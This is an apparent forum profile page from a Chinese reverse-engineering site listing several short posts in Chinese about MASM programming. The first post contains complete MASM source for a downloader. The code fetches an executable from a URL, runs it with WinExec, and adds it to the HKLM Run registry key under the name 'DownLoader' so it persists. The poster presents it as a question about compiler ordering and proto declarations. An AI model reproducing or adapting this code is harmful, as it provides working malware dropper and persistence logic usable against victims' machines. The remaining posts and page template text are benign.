|
|
|
奇怪的问题:难道是编译器犯了错误?[讨论]
原来编译器是逐行编译的,所以会出现这种情况,看来罗云彬的书上说的把子函数安排到前面是不科学的。像下面这样写再编译就没有问题了。宁愿先用proto声明一下……,否则程序的流程都会被改变,导致意想不到的问题! .386 .model flat, stdcall option casemap :none include windows.inc include kernel32.inc include urlmon.inc include shell32.inc include advapi32.inc includelib kernel32.lib includelib urlmon.lib includelib shell32.lib includelib advapi32.lib _EnumKey proto :DWORD .data URL db "http://127.0.0.1/xxx.exe",0 EXE db "d:\xxx.exe",0; szRegKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0 szRegValue db "DownLoader",0 .code start: invoke URLDownloadToFile,NULL,addr URL,addr EXE,0,0; invoke WinExec,addr EXE,0; invoke _EnumKey,NULL; invoke ExitProcess,NULL; _EnumKey proc _lpKey local @hKey,@dwIndex,@dwLastTime:FILETIME invoke RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey .if eax == ERROR_SUCCESS invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\ REG_SZ,addr EXE,10 ;写入一个REG_SZ类型的数据 invoke RegCloseKey,@hKey .endif _EnumKey endp end start |
|
Execyptor脱壳脚本
太强了,收藏,我也可以脱Execyptor了,哈哈. |
|
请教:如何设计选项卡式的对话框?
选项卡是分开设计的,然后用那个选项卡控件,一页一页地绘上去的. |
|
|
|
有没有整理asm的工具?
整理asm是什么意思哦?不太明白。 |
|
|
|
请教一个简单的结构化异常处理问题
谢谢jjnet大侠的解答。 |
|
[原创]Win32窗口创建和消息处理小程序(MASM 附源代码)
我看过 罗云彬的书,第一个窗口程序 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值